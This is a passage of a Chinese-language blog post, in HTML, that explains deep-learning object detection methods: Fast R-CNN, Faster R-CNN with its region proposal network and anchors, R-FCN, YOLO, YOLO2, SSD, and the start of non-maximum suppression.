Layer</h3><p>　　事实上，RoI Pooling Layer是SPP-Layer的简化形式。SPP-Layer是空间金字塔Pooling层，包括不同的尺度；RoI Layer只包含一种尺度，如论文中所述7*7。这样对于RoI Layer的输入（r,c,h,w），RoI Layer首先产生7*7个r*c*(h/7)*(w/7)的Block(块)，然后用Max-Pool方式求出每一个Block的最大值，这样RoI Layer的输出是r*c*7*7。</p><h3 id="3-2-预训练网络初始化"><a href="#3-2-预训练网络初始化" class="headerlink" title="3.2 预训练网络初始化"></a>3.2 预训练网络初始化</h3><p>　　RBG复用了VGG训练ImageNet得到的网络模型，即VGG16模型以初始化Fast R-CNN中RoI Layer以前的所有层。Fast R-CNN的网络结构整体可以总结如下：13个convolution layers + 4个pooling layers + RoI layer + 2个fc layer + 2个parrel层（即Softmax Loss layer和Smooth L1 Loss layer）。在Fast R-CNN中，原来VGG16中第5个pooling layer被新的RoI layer替换掉。</p><h3 id="3-3-Finetuning-for-detection"><a href="#3-3-Finetuning-for-detection" class="headerlink" title="3.3 Finetuning for detection"></a>3.3 Finetuning for detection</h3><p><strong>(1) fast r-cnn在网络训练阶段采用了一些trick</strong>，每个minibatch是由N幅图片（N=2）中提取得到的R个proposal（R=128）组成的。这种minibatch的构造方式比从128张不同图片中提取1个proposal的构造方式快64倍。虽然minibatch的构造速度加快，但也在一定程度上造成收敛速度减慢。此外，fast r-cnn摒弃了之前svm训练分类器的方式，而是选用softmax classifier和bounding-box regressors联合训练的方式更新cnn网络所有层参数。注意：在每2张图中选取128个proposals时，需要严格保证至少25%的正样本类（proposals与ground truth的IOU超过0.5），剩下的可全部视作背景类。在训练网络模型时，不需要任何其他形式的数据扩增操作。<br><strong>(2) multi-task loss</strong>：fast r-cnn包括两个同等水平的sub-layer，分别用于classification和regression。其中，Softmax Loss对应于classification，Smooth L1 Loss对应于regression，两种Loss的权重比例为1:1。<br><strong>(3) SGD hyer-parameters</strong>：用于softmax分类任务和bounding-box回归的fc层参数用标准差介于0.01~0.001之间的高斯分布初始化。</p><h3 id="3-4-Truncated-SVD快速检测"><a href="#3-4-Truncated-SVD快速检测" class="headerlink" title="3.4 Truncated SVD快速检测"></a>3.4 Truncated SVD快速检测</h3><p>在检测段，RBG使用truncated SVD优化较大的FC层，这样RoI数目较大时检测端速度会得到的加速。</p><p><strong>Fast R-CNN实验结论：</strong></p><ol><li>multi-task loss训练方式能提高算法准确度；</li><li>multi-scale图像训练fast r-cnn相比较single-scale图像训练相比对mAP的提升幅度很小，但是却增加了很高的时间成本。因此，综合考虑训练时间和mAP，作者建议直接用single尺度的图像训练fast r-cnn；</li><li>用于训练的图像越多，训练得到的模型准确率也会越高；</li><li>Softmax Loss训练方式比SVMs训练得到的结果略好一点，因此无法证明Softmax Loss在效果上一定比svm强，但是简化了训练流程，无需分步骤训练模型；</li><li>proposal并不是提取的越多效果越好，太多proposal反而导致mAP下降。</li></ol><h2 id="4-Faster-RCNN"><a href="#4-Faster-RCNN" class="headerlink" title="4. Faster RCNN"></a>4. Faster RCNN</h2><blockquote><p>论文出处：<a href="http://arxiv.org/abs/1506.01497" target="_blank" rel="external">Faster R-CNN: Towards Real-Time Object Detection with Region Proposal Networks</a><br>论文作者：<a href="https://arxiv.org/find/cs/1/au:+Ren_S/0/1/0/all/0/1" target="_blank" rel="external">Shaoqing Ren</a>, <a href="https://arxiv.org/find/cs/1/au:+He_K/0/1/0/all/0/1" target="_blank" rel="external">Kaiming He</a>, <a href="https://arxiv.org/find/cs/1/au:+Girshick_R/0/1/0/all/0/1" target="_blank" rel="external">Ross Girshick</a>, <a href="https://arxiv.org/find/cs/1/au:+Sun_J/0/1/0/all/0/1" target="_blank" rel="external">Jian Sun</a></p></blockquote><p>　　在之前介绍的Fast R-CNN中，第一步需要先使用Selective Search方法提取图像中的proposals。基于CPU实现的Selective Search提取一幅图像的所有Proposals需要约2s的时间。在不计入proposal提取情况下，Fast R-CNN基本可以实时进行目标检测。但是，如果从端到端的角度考虑，显然proposal提取成为影响端到端算法性能的瓶颈。目前最新的EdgeBoxes算法虽然在一定程度提高了候选框提取的准确率和效率，但是处理一幅图像仍然需要0.2s。因此，Ren Shaoqing提出新的Faster R-CNN算法，该算法引入了RPN网络（Region Proposal Network）提取proposals。RPN网络是一个全卷积神经网络，通过共享卷积层特征可以实现proposal的提取，RPN提取一幅像的proposal只需要10ms.</p><p>　　Faster R-CNN算法由两大模块组成：<code>1.PRN候选框提取模块</code>，<code>2.Fast R-CNN检测模块</code>。其中，RPN是全卷积神经网络，用于提取候选框；Fast R-CNN基于RPN提取的proposal检测并识别proposal中的目标。</p><p><img src="Faster_RCNN_1.png" alt=""></p><h3 id="4-1-Region-Proposal-Network-RPN"><a href="#4-1-Region-Proposal-Network-RPN" class="headerlink" title="4.1 Region Proposal Network (RPN)"></a>4.1 Region Proposal Network (RPN)</h3><p>　　RPN网络的输入可以是任意大小（但还是有最小分辨率要求的，例如VGG是228*228）的图片。如果用VGG16进行特征提取，那么RPN网络的组成形式可以表示为VGG16+RPN。</p><p><code>VGG16</code> ：参考<a href="https://github.com/rbgirshick/py-faster-rcnn/blob/master/models/pascal_voc/VGG16/faster_rcnn_end2end/train.prototxt" target="_blank" rel="external">这个</a>，可以看出VGG16中用于特征提取的部分是13个卷积层（conv1_1 —&gt; conv5_3），不包括pool5及pool5后的网络层次结构。</p><p><code>RPN</code> ：RPN是作者重点介绍的一种网络，如下图所示。RPN的实现方式：在conv5_3的卷积feature map上用一个n*n的滑窗（论文中作者选用了n=3，即3*3的滑窗）生成一个长度为256（对应于ZF网络）或512（对应于VGG网络）维长度的全连接特征。然后在这个256维或512维的特征后产生两个分支的全连接层：<strong>1.reg-layer</strong>，用于预测proposal的中心锚点对应的proposal的坐标x，y和宽高w，h；<strong>2.cls-layer</strong>，用于判定该proposal是前景还是背景。sliding window的处理方式保证reg-layer和cls-layer关联了conv5_3的全部特征空间。事实上，作者用全连接层实现方式介绍RPN层实现容易帮助我们理解这一过程，但在实现时作者选用了卷积层实现全连接层的功能。个人理解：全连接层本来就是特殊的卷积层，如果产生256或512维的fc特征，事实上可以用Num_out=256或512，kernel_size=3*3，stride=1的卷积层实现conv5_3到第一个全连接特征的映射。然后再用两个Num_out分别为2*9=18和4*9=36，kernel_size=1*1，stride=1的卷积层实现上一层特征到两个分支cls层和reg层的特征映射。注意：这里2*9中的2指cls层的分类结果包括前后背景两类，4*9的4表示一个Proposal的中心点坐标x，y和宽高w，h四个参数。采用卷积的方式实现全连接处理并不会减少参数的数量，但是使得输入图像的尺寸可以更加灵活。在RPN网络中，我们需要重点理解其中的anchors概念，Loss fucntions计算方式和RPN层训练数据生成的具体细节。</p><p><img src="Faster_RCNN_2.png" alt=""></p><p><code>Anchors</code> ：字面上可以理解为锚点，位于之前提到的n*n的sliding window的中心处。对于一个sliding window，我们可以同时预测多个proposal，假定有k个。k个proposal即k个reference boxes，每一个reference box又可以用一个scale，一个aspect_ratio和sliding window中的锚点唯一确定。所以，我们在后面说一个anchor，你就理解成一个anchor box 或一个reference box。作者在论文中定义k=9，即3种scale和3种aspect_ratio确定出当前sliding window位置处对应的9个reference boxes，4*k个reg-layer的输出和2*k个cls-layer的score输出。对于一幅W*H的feature map，对应W*H*k个锚点。所有的锚点都具有尺度不变性。</p><p>Anchor box的设置应比较好的覆盖到不同大小区域，如下图:</p><p><img src="Faster_RCNN_3.png" alt=""></p><p>一张1000×600的图片，大概可以得到20k个anchor box(60×40×9)。</p><p><code>Loss functions</code> ：在计算Loss值之前，作者设置了anchors的标定方法。正样本标定规则：<strong>1.如果Anchor对应的reference box与ground truth的IoU值最大，标记为正样本</strong>；<strong>2.如果Anchor对应的reference box与ground truth的IoU&gt;0.7，标记为正样本</strong>。事实上，采用第2个规则基本上可以找到足够的正样本，但是对于一些极端情况，例如所有的Anchor对应的reference box与groud truth的IoU不大于0.7,可以采用第一种规则生成。负样本标定规则：<strong>如果Anchor对应的reference box与ground truth的IoU&lt;0.3，标记为负样本</strong>。剩下的既不是正样本也不是负样本，不用于最终训练。训练RPN的Loss是有classification loss（即softmax loss）和regression loss（即L1 Loss）按一定比重组成的。计算softmax loss需要的是anchors对应的ground truth标定结果和预测结果，计算regression loss需要三组信息：<strong>1.预测框</strong>，即RPN网络预测出的proposal的中心位置坐标x，y和宽高w，h；<strong>2.锚点reference box</strong>:之前的9个锚点对应9个不同scale和aspect_ratio的reference boxes，每一个reference boxes都有一个中心点位置坐标x_a，y_a和宽高w_a，h_a。<strong>3.ground truth</strong>:标定的框也对应一个中心点位置坐标x*，y*和宽高w*，h*。因此计算regression loss和总Loss方式如下：</p><p><img src="Faster_RCNN_4.png" alt=""><br><img src="Faster_RCNN_5.png" alt=""></p><p><code>RPN训练设置</code> ：在训练RPN时，一个Mini-batch是由一幅图像中任意选取的256个proposal组成的，其中正负样本的比例为1:1。如果正样本不足128，则多用一些负样本以满足有256个Proposal可以用于训练，反之亦然。训练RPN时，与VGG共有的层参数可以直接拷贝经ImageNet训练得到的模型中的参数，剩下没有的层参数用标准差为0.01的高斯分布初始化。</p><h3 id="4-2-RPN与Faster-R-CNN特征共享"><a href="#4-2-RPN与Faster-R-CNN特征共享" class="headerlink" title="4.2 RPN与Faster R-CNN特征共享"></a>4.2 RPN与Faster R-CNN特征共享</h3><p>　　RPN在提取得到proposals后，作者选择使用Fast R-CNN实现最终目标的检测和识别。RPN和Fast R-CNN共用了13个VGG的卷积层，显然将这两个网络完全孤立训练不是明智的选择，作者采用交替训练阶段卷积层特征共享：</p><p><code>交替训练（Alternating training）</code> ：<strong>Step1：训练RPN</strong>；<strong>Step2：用RPN提取得到的proposal训练Fast R-CNN</strong>；<strong>Step3：用Faster R-CNN初始化RPN网络中共用的卷积层</strong>。迭代执行Step1,2,3，直到训练结束为止，论文中采用的就是这种训练方式。注意：第一次迭代时，用ImageNet得到的模型初始化RPN和Fast R-CNN中卷积层的参数；从第二次迭代开始，训练RPN时，用Fast R-CNN的共享卷积层参数初始化RPN中的共享卷积层参数，然后只Fine-tune不共享的卷积层和其他层的相应参数。训练Fast-RCNN时，保持其与RPN共享的卷积层参数不变，只Fine-tune不共享的层对应的参数。这样就可以实现两个网络卷积层特征共享训练。相应的网络模型请参考<a href="https://github.com/rbgirshick/py-faster-rcnn/tree/master/models/pascal_voc/VGG16/faster_rcnn_alt_opt" target="_blank" rel="external">这里</a>。</p><h3 id="4-3-深度挖掘"><a href="#4-3-深度挖掘" class="headerlink" title="4.3 深度挖掘"></a>4.3 深度挖掘</h3><ol><li>由于Selective Search提取得到的Proposal尺度不一，因此Fast RCNN或SPP-Net生成的RoI也是尺度不一，最后分别用RoI Pooling Layer或SPP-Layer处理得到固定尺寸金字塔特征，在这一过程中，回归最终proposal的坐标网络的权重事实上共享了整个Feature Map，因此其训练的网络精度也会更高。但是，RPN方式提取的ROI由k个锚点生成，具有k种不同分辨率，因此在训练过程中学习到了k种独立的回归方式。这种方式并没有共享整个Feature Map，但其训练得到的网络精度也很高。这，我竟然无言以对。有什么问题，请找Anchors同学。</li><li>采用不同分辨率图像在一定程度可以提高准确率，但是也会导致训练速度下降。采用VGG16训练RPN虽然使得第13个卷积层特征尺寸至少缩小到原图尺寸的1/16（事实上，考虑到kernel_size作用，会更小一些），然并卵，最终的检测和识别效果仍然好到令我无言以对。</li><li>三种scale(128*128，256*256，512*512)，三种宽高比（1:2，1:1，2:1）,虽然scale区间很大，总感觉这样会很奇怪，但最终结果依然表现的很出色。</li><li>训练时（例如600*1000的输入图像），如果reference box （即anchor box）的边界超过了图像边界，这样的anchors对训练Loss不产生影响，即忽略掉这样的Loss。一幅600*1000的图经过VGG16大约为40*60，那么anchors的数量大约为40*60*9，约等于20000个anchor boxes。去除掉与图像边界相交的anchor boxes后，剩下约6000个anchor boxes，这么多数量的anchor boxes之间会有很多重叠区域，因此使用非极值抑制方法将IoU&gt;0.7的区域全部合并，剩下2000个anchor boxes（同理，在最终检测端，可以设置规则将概率大于某阈值P且IoU大于某阈值T的预测框（注意，和前面不同，不是anchor boxes）采用非极大抑制方法合并）。在每一个epoch训练过程中，随机从一幅图最终剩余的这些anchors采样256个anchor box作为一个Mini-batch训练RPN网络。</li></ol><h3 id="4-4-实验"><a href="#4-4-实验" class="headerlink" title="4.4 实验"></a>4.4 实验</h3><ol><li>PASCAL VOC 2007：使用ZF-Net训练RPN和Fast R-CNN，那么Selective Search + Fast R-CNN, EdgeBox+Fast R-CNN， RPN+Fast R-CNN的准确率分别为：58.7%，58.6%，59.9%. Seletive Seach和EdgeBox方法提取2000个proposal，RPN最多提取300个proposal，因此卷积特征共享方式提取特征的RPN显然在效率是更具有优势；</li><li>采用VGG以特征不共享方式和特征共享方式训练RPN+Fast R-CNN,可以分别得到68.5%和69.9%的准确率（VOC2007）。此外，采用VGG训练RCNN时，需要花320ms提取2000个proposal，加入SVD优化后需要223ms，而Faster R-CNN整个前向过程（包括RPN+Fast R-CNN）总共只要198ms；</li><li>Anchors的scales和aspect_ratio的数量虽然不会对结果产生明显影响，但是为了算法稳定性，建议两个参数都设置为合适的数值。</li><li>当Selective Search和EdgeBox提取的proposal数目由2000减少到300时，Faste R-CNN的Recall vs. IoU overlap ratio图中recall值会明显下降；但RPN提取的proposal数目由2000减少到300时，Recall vs. IoU overlap ratio图中recall值会比较稳定。</li></ol><h3 id="4-5-总结"><a href="#4-5-总结" class="headerlink" title="4.5 总结"></a>4.5 总结</h3><p>　　特征共享方式训练RPN+Fast R-CNN能够实现极佳的检测效果，特征共享训练实现了买一送一，RPN在提取Proposal时不仅没有时间成本，还提高了proposal质量。因此Faster R-CNN中交替训练RPN+Fast R-CNN方式比原来的Slective Seach+Fast R-CNN更上一层楼。</p><h2 id="5-R-FCN"><a href="#5-R-FCN" class="headerlink" title="5. R-FCN"></a>5. R-FCN</h2><blockquote><p>论文出处：<a href="http://arxiv.org/pdf/1605.06409v1.pdf" target="_blank" rel="external">R-FCN: Object Detection via Region-based Fully Convolutional Networks</a><br>论文作者：<a href="https://arxiv.org/find/cs/1/au:+Dai_J/0/1/0/all/0/1" target="_blank" rel="external">Jifeng Dai</a>, <a href="https://arxiv.org/find/cs/1/au:+Li_Y/0/1/0/all/0/1" target="_blank" rel="external">Yi Li</a>, <a href="https://arxiv.org/find/cs/1/au:+He_K/0/1/0/all/0/1" target="_blank" rel="external">Kaiming He</a>, <a href="https://arxiv.org/find/cs/1/au:+Sun_J/0/1/0/all/0/1" target="_blank" rel="external">Jian Sun</a><br>论文翻译：<a href="http://www.jianshu.com/p/db1b74770e52" target="_blank" rel="external">[译] 基于R-FCN的物体检测 (zhwhong)</a></p></blockquote><p>　　RCNN系列(R-CNN、Fast R-CNN、Faster R-CNN)中，网络由两个子CNN构成。在图片分类中，只需一个CNN，效率非常高。所以物体检测是不是也可以只用一个CNN？ </p><p>　　图片分类需要兼容形变，而物体检测需要利用形变，如何平衡？ </p><p>　　R-FCN利用在CNN的最后进行位置相关的特征pooling来解决以上两个问题。</p><p><img src="RFCN_1.png" alt=""></p><p>经普通CNN后，做有 k^2(C+1) 个 channel 的卷积，生成位置相关的特征(position-sensitive score maps)。</p><p>C 表示分类数，加 1 表示背景，k 表示后续要pooling 的大小，所以生成 k^2 倍的channel，以应对后面的空间pooling。</p><p><img src="RFCN_2.png" alt=""></p><p>　　普通CNN后，还有一个RPN(Region Proposal Network)，生成候选框。</p><p>　　假设一个候选框大小为 w×h，将它投影在位置相关的特征上，并采用average-pooling的方式生成一个 k×k×k^2(C+1) 的块(与Fast RCNN一样)，再采用空间相关的pooling(k×k平面上每一个点取channel上对应的部分数据)，生成 k×k×(C+1)的块，最后再做average-pooling生成 C+1 的块，最后做softmax生成分类概率。</p><p>　　类似的，RPN也可以采用空间pooling的结构，生成一个channel为 4k^2的特征层。空间pooling的具体操作可以参考下面：</p><p><img src="RFCN_3.png" alt=""></p><p>　　训练与SSD相似，训练时拿来做lost计算的点取一个常数，如128。 除去正点，剩下的所有使用概率最高的负点。</p><h2 id="6-YOLO"><a href="#6-YOLO" class="headerlink" title="6. YOLO"></a>6. YOLO</h2><blockquote><p>论文出处：<a href="http://arxiv.org/abs/1506.02640" target="_blank" rel="external">You Only Look Once: Unified, Real-Time Object Detection</a><br>论文作者：<a href="https://arxiv.org/find/cs/1/au:+Redmon_J/0/1/0/all/0/1" target="_blank" rel="external">Joseph Redmon</a>, <a href="https://arxiv.org/find/cs/1/au:+Divvala_S/0/1/0/all/0/1" target="_blank" rel="external">Santosh Divvala</a>, <a href="https://arxiv.org/find/cs/1/au:+Girshick_R/0/1/0/all/0/1" target="_blank" rel="external">Ross Girshick</a>, <a href="https://arxiv.org/find/cs/1/au:+Farhadi_A/0/1/0/all/0/1" target="_blank" rel="external">Ali Farhadi</a><br>项目主页：<a href="https://pjreddie.com/darknet/yolo/" target="_blank" rel="external">https://pjreddie.com/darknet/yolo/</a></p></blockquote><p>　　Faster RCNN需要对20k个anchor box进行判断是否是物体，然后再进行物体识别，分成了两步。 YOLO则把物体框的选择与识别进行了结合，一步输出，即变成”You Only Look Once”。</p><p>　　YOLO是一个可以一次性预测多个Box位置和类别的卷积神经网络，能够实现端到端的目标检测和识别，其最大的优势就是速度快。事实上，目标检测的本质就是回归，因此一个实现回归功能的CNN并不需要复杂的设计过程。YOLO没有选择滑窗或提取proposal的方式训练网络，而是直接选用整图训练模型。这样做的好处在于可以更好的区分目标和背景区域，相比之下，采用proposal训练方式的Fast-R-CNN常常把背景区域误检为特定目标。当然,YOLO在提升检测速度的同时牺牲了一些精度。下图所示是YOLO检测系统流程：<strong>1.将图像Resize到448*448</strong>；<strong>2.运行CNN</strong>；<strong>3.非极大抑制优化检测结果</strong>。有兴趣的童鞋可以按照<a href="http://pjreddie.com/darknet/install/" target="_blank" rel="external">这个</a>说明安装测试一下YOLO的scoring流程，非常容易上手。接下来将重点介绍YOLO的原理。</p><p><img src="YOLO_1.png" alt=""></p><h3 id="6-1-一体化检测方案"><a href="#6-1-一体化检测方案" class="headerlink" title="6.1 一体化检测方案"></a>6.1 一体化检测方案</h3><p>　　YOLO的设计理念遵循端到端训练和实时检测。YOLO将输入图像划分为S*S个网络，如果一个物体的中心落在某网格(cell)内，则相应网格负责检测该物体。在训练和测试时，每个网络预测B个bounding boxes，每个bounding box对应5个预测参数，即bounding box的中心点坐标(x,y)，宽高（w,h）和置信度评分。这里的置信度评分( Pr(Object)*IOU(pred|truth) )综合反映基于当前模型bounding box内存在目标的可能性Pr(Object)和bounding box预测目标位置的准确性IOU(pred|truth)。如果bouding box内不存在物体，则Pr(Object)=0。如果存在物体，则根据预测的bounding box和真实的bounding box计算IOU，同时会预测存在物体的情况下该物体属于某一类的后验概率Pr(Class_i|Object)。假定一共有C类物体，那么每一个网格只预测一次C类物体的条件类概率Pr(Class_i|Object)，i=1,2,…,C；每一个网格预测B个bounding box的位置。即这B个bounding box共享一套条件类概率Pr(Class_i|Object)，i=1,2,…,C。基于计算得到的Pr(Class_i|Object)，在测试时可以计算某个bounding box类相关置信度：Pr(Class_i|Object) * Pr(Object) * IOU(pred|truth) = Pr(Class_i) * IOU(pred|truth)。如果将输入图像划分为7*7网格（S=7），每个网格预测2个bounding box (B=2)，有20类待检测的目标（C=20），则相当于最终预测一个长度为S*S*(B*5+C)=7*7*30的向量，从而完成检测+识别任务，整个流程可以通过下图理解。</p><p><img src="YOLO_2.png" alt=""></p><ul><li>把缩放成统一大小的图片分割成S×S的单元格</li><li>每个单元格输出B个矩形框(冗余设计)，包含框的位置信息(x, y, w, h)与物体的Confidence</li><li>每个单元格再输出C个类别的条件概率P(Class∣Object)</li><li>最终输出层应有S×S×(B∗5+C)个单元</li><li>其中x、y是每个单元格的相对位置，w、h是整图的相对大小</li></ul><p>Conficence定义如下:</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-772c5abc28591971.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><strong>(1) 网络设计</strong></p><p>　　YOLO网络设计遵循了GoogLeNet的思想，但与之有所区别。YOLO使用了24个级联的卷积(conv)层和2个全连接(fc)层，其中conv层包括3*3和1*1两种Kernel，最后一个fc层即YOLO网络的输出，长度为S*S*(B*5+C)=7*7*30。此外，作者还设计了一个简化版的YOLO-small网络，包括9个级联的conv层和2个fc层，由于conv层的数量少了很多，因此YOLO-small速度比YOLO快很多。如下图所示我们给出了YOLO网络的架构。</p><p><img src="YOLO_3.png" alt=""></p><p><strong>(2) 训练</strong></p><p>　　作者训练YOLO网络是分步骤进行的：首先，作者从上图网络中取出前20个conv层，然后自己添加了一个average pooling层和一个fc层，用1000类的ImageNet数据与训练。在ImageNet 2012上用224*224d的图像训练后得到的top5准确率是88%。然后，作者在20个预训练好的conv层后添加了4个新的conv层和2个fc层，并采用随即参数初始化这些新添加的层，在fine-tune新层时，作者选用448*448图像训练。最后一个fc层可以预测物体属于不同类的概率和bounding box中心点坐标x，y和宽高w，h。bounding box的宽高是相对于图像宽高归一化后得到的，bounding box的中心位置坐标是相对于某一个网格的位置坐标进行过归一化，因此x，y，w，h均介于0到1之间。</p><p>代价函数如下：</p><p><img src="YOLO_Loss.png" alt=""></p><p>　　在设计Loss函数时，有两个主要的问题：1.对于最后一层长度为7*7*30长度预测结果，计算预测loss通常会选用平方和误差。然而这种Loss函数的位置误差和分类误差是1:1的关系。2.整个图有7*7个网格，大多数网格实际不包含物体（当物体的中心位于网格内才算包含物体），如果只计算Pr(Class_i)，很多网格的分类概率为0，网格loss呈现出稀疏矩阵的特性，使得Loss收敛效果变差，模型不稳定。为了解决上述问题，作者采用了一系列方案：</p><ol><li>增加bounding box坐标预测的loss权重，降低bounding box分类的loss权重。坐标预测和分类预测的权重分别是λ_coord=5，λ_noobj=0.5。</li><li>平方和误差对于大和小的bounding box的权重是相同的，作者为了降低不同大小bounding box宽高预测的方差，采用了平方根形式计算宽高预测loss，即sqrt(w)和sqrt(h)。</li></ol><p>　　训练Loss组成形式较为复杂，这里不作列举，如有兴趣可以参考作者原文慢慢理解体会。</p><p><strong>(3) 测试</strong></p><p>　　作者选用PASAL VOC图像测试训练得到的YOLO网络，每幅图会预测得到98个(7*7*2)个bouding box及相应的类概率。通常一个cell可以直接预测出一个物体对应的bounding box，但是对于某些尺寸较大或靠近图像边界的物体，需要多个网格预测的结果通过非极大抑制处理生成。虽然YOLO对于非极大抑制的依赖不及R-CNN和DPM，但非极大抑制确实可以将mAP提高2到3个点。</p><h3 id="6-2-方法对比"><a href="#6-2-方法对比" class="headerlink" title="6.2 方法对比"></a>6.2 方法对比</h3><p>作者将YOLO目标检测与识别方法与其他几种经典方案进行比较可知：</p><p><code>DPM(Deformable parts models)</code> : DPM是一种基于滑窗方式的目标检测方法，基本流程包括几个独立的环节：特征提取，区域划分，基于高分值区域预测bounding box。YOLO采用端到端的训练方式，将特征提取、候选框预测，非极大抑制及目标识别连接在一起，实现了更快更准的检测模型。</p><p><code>R-CNN</code> ：R-CNN方案分需要先用Seletive Search方法提取proposal,然后用CNN进行特征提取，最后用SVM训练分类器。如此方案，诚繁琐也！YOLO精髓思想与其类似，但是通过共享卷积特征的方式提取proposal和目标识别。另外，YOLO用网格对proposal进行空间约束，避免在一些区域重复提取Proposal，相较于Seletive Search提取2000个proposal进行R-CNN训练，YOLO只需要提取98个proposal，这样训练和测试速度怎能不快？</p><p><code>Fast R-CNN、Faster R-CNN、Fast DPM</code> : Fast R-CNN和Faster R-CNN分别替换了SVMs训练和Selective Seach提取proposal的方式，在一定程度上加速了训练和测试速度，但其速度依然无法和YOLO相比。同理，将DPM优化在GPU上实现也无出YOLO之右。</p><h3 id="6-3-实验"><a href="#6-3-实验" class="headerlink" title="6.3 实验"></a>6.3 实验</h3><p><strong>(1) 实时检测识别系统对比</strong></p><p><img src="YOLO_4.png" alt=""></p><p><strong>(2) VOC2007准确率比较</strong></p><p><img src="YOLO_5.png" alt=""></p><p><strong>(3) Fast-R-CNN和YOLO错误分析</strong></p><p><img src="YOLO_6.png" alt=""></p><p>如图所示，不同区域分别表示不同的指标：</p><ul><li>Correct：正确检测和识别的比例，即分类正确且IOU&gt;0.5</li><li>Localization：分类正确，但0.1&lt;IOU&lt;0.5</li><li>Similar：类别相似，IOU&gt;0.1</li><li>Other：分类错误，IOU&gt;0.1</li><li>Background：对于任何目标IOU&lt;0.1</li></ul><p>　　可以看出，YOLO在定位目标位置时准确度不及Fast R-CNN。YOLO的error中，目标定位错误占据的比例最大，比Fast R-CNN高出了10个点。但是，YOLO在定位识别背景时准确率更高，可以看出Fast R-CNN假阳性很高（Background=13.6%，即认为某个框是目标，但是实际里面不含任何物体）。</p><p><strong>(4) VOC2012准确率比较</strong></p><p><img src="YOLO_7.png" alt=""></p><p>　　由于YOLO在目标检测和识别是处理背景部分优势更明显，因此作者设计了Fast R-CNN+YOLO检测识别模式，即先用R-CNN提取得到一组bounding box，然后用YOLO处理图像也得到一组bounding box。对比这两组bounding box是否基本一致，如果一致就用YOLO计算得到的概率对目标分类，最终的bouding box的区域选取二者的相交区域。Fast R-CNN的最高准确率可以达到71.8%，采用Fast R-CNN+YOLO可以将准确率提升至75.0%。这种准确率的提升是基于YOLO在测试端出错的情况不同于Fast R-CNN。虽然Fast R-CNN_YOLO提升了准确率，但是相应的检测识别速度大大降低，因此导致其无法实时检测。</p><p>　　使用VOC2012测试不同算法的mean Average Precision，YOLO的mAP=57.9%，该数值与基于VGG16的RCNN检测算法准确率相当。对于不同大小图像的测试效果进行研究，作者发现：YOLO在检测小目标时准确率比R-CNN低大约8~10%，在检测大目标是准确率高于R-CNN。采用Fast R-CNN+YOLO的方式准确率最高，比Fast R-CNN的准确率高了2.3%。</p><h3 id="5-4-总结"><a href="#5-4-总结" class="headerlink" title="5.4 总结"></a>5.4 总结</h3><p>　　YOLO是一种支持端到端训练和测试的卷积神经网络，在保证一定准确率的前提下能图像中多目标的检测与识别。</p><h2 id="7-YOLO2"><a href="#7-YOLO2" class="headerlink" title="7. YOLO2"></a>7. YOLO2</h2><blockquote><p>论文出处：<a href="https://arxiv.org/abs/1612.08242" target="_blank" rel="external">YOLO9000: Better, Faster, Stronger</a><br>论文作者：<a href="https://arxiv.org/find/cs/1/au:+Redmon_J/0/1/0/all/0/1" target="_blank" rel="external">Joseph Redmon</a>, <a href="https://arxiv.org/find/cs/1/au:+Farhadi_A/0/1/0/all/0/1" target="_blank" rel="external">Ali Farhadi</a><br>项目主页：<a href="https://pjreddie.com/darknet/yolo/" target="_blank" rel="external">https://pjreddie.com/darknet/yolo/</a></p></blockquote><p>　　时隔一年，YOLO（You Only Look Once: Unified, Real-Time Object Detection）从v1版本进化到了v2版本，作者在darknet主页先行一步放出源代码，论文在我们等候之下终于在12月25日发布出来，本文对论文重要部分进行了翻译理解工作，不一定完全对，如有疑问，欢迎讨论。博主如果有新的理解，也会更新文章，或者新写一篇。</p><p>　　新的YOLO版本论文全名叫“<strong>YOLO9000: Better, Faster, Stronger</strong>”，主要有两个大方面的改进：</p><ul><li>第一，作者使用了一系列的方法对原来的YOLO多目标检测框架进行了改进，在保持原有速度的优势之下，精度上得以提升。VOC 2007数据集测试，67FPS下mAP达到76.8%，40FPS下mAP达到78.6%，基本上可以与Faster R-CNN和SSD一战。</li><li>第二，作者提出了一种目标分类与检测的联合训练方法，通过这种方法，YOLO9000可以同时在COCO和ImageNet数据集中进行训练，训练后的模型可以实现多达9000种物体的实时检测。</li></ul><p>更多内容请参考：</p><ul><li><a href="http://blog.csdn.net/jesse_mx/article/details/53925356" target="_blank" rel="external">YOLOv2 论文笔记</a></li><li><a href="https://zhuanlan.zhihu.com/p/25167153" target="_blank" rel="external">YOLO2 - 知乎专栏</a></li></ul><h2 id="8-SSD"><a href="#8-SSD" class="headerlink" title="8. SSD"></a>8. SSD</h2><blockquote><p>论文：<a href="http://www.cs.unc.edu/~wliu/papers/ssd.pdf" target="_blank" rel="external">SSD: Single Shot MultiBox Detector</a> </p></blockquote><p>YOLO在 7×7 的框架下识别物体，遇到大量小物体时，难以处理。<br>SSD则在不同层级的feature map下进行识别，能够覆盖更多范围。</p><p><img src="SSD_1.png" alt=""></p><p>假设在 m 层 feature map 上进行识别，则第 k 层的基本比例为</p><p><img src="SSD_2.png" alt=""></p><p>比如 s_min=0.2，s_max=0.95，表示整张图片识别物体所占比最小 0.2，最大 0.95。</p><p>在基本比例上，再取多个长宽比，令 a={1, 2, 3, 1/2, 1/3}，长宽分别为：</p><p><img src="SSD_3.png" alt=""></p><p>Match策略上，取ground truth与以上生成的格子重叠率大于0.5的。</p><h2 id="9-SSD-vs-YOLO"><a href="#9-SSD-vs-YOLO" class="headerlink" title="9. SSD vs YOLO"></a>9. SSD vs YOLO</h2><p><img src="SSD_VS_YOLO.png" alt=""></p><p>位置采用Smooth L1 Regression，分类采用Softmax。<br>代价函数为：</p><!-- ![][01][01]:http://latex.codecogs.com/png.latex?L%20=%20L_{conf}(x,%20c)%20+%20\alpha%20\cdot%20L_{loc}(c,%20l,%20g)) --><p>$$<br>L = L_{conf}(x, c) + \alpha \cdot L_{loc}(c, l, g)<br>$$</p><p>x  表示类别输出，c 表示目标分类，l 表示位置输出，g 表示目标位置, α是比例常数，可取1。<br>训练过程中负点远多于正点，所以只取负点中，概率最大的几个，数量与正点成 3:1 。</p><h2 id="10-NMS"><a href="#10-NMS" class="headerlink" title="10. NMS"></a>10. NMS</h2><blockquote><p>论文出处：<a href="http://ieeexplore.ieee.org/abstract/document/1699659/" target="_blank" rel="external">Efficient Non-Maximum Suppression</a><br>发表于：<a href="http://ieeexplore.ieee.org/xpl/mostRecentIssue.jsp?punumber=11159" target="_blank" rel="external">Pattern Recognition, 2006. ICPR 2006. 18th International Conference 